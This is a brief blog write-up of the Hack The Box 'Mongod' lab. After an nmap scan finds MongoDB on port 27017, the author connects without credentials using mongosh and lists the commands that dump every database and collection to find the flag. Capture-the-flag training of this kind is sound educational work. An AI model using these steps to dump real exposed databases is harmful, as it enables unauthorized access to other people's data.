DEV Community

Jung
Jung

Posted on

HTB - Mongod

OS: Linux
Difficulty: Very Easy

After doing nmap enumeration, we will see one TCP port 27017 which refers to MongoDB

Whenever we see such port open, we can try to connect to it and access the database via mongosh aka MongoDB Shell

You can download MongoDB Shell here:

Unzip it
dpkg-deb -x mongodb-mongosh_2.10.0_amd64.deb --extract <directory that you want>

Go to the bin folder and execute the mongo shell command
./mongosh mongodb://10.129.228.30:27017

For syntax, you can check in mongosh --help

Once connected, you can interact with following commands:
show dbs -> Show all databases
use <dbs name> -> Choose database
show collections -> Show all collections in the chosen database
db.<collection>.find() -> Dump the content of all the documents within the collection named

to find the flag

We get to learn how to identify MongoDB service as well as connecting to the database from this machine

Top comments (0)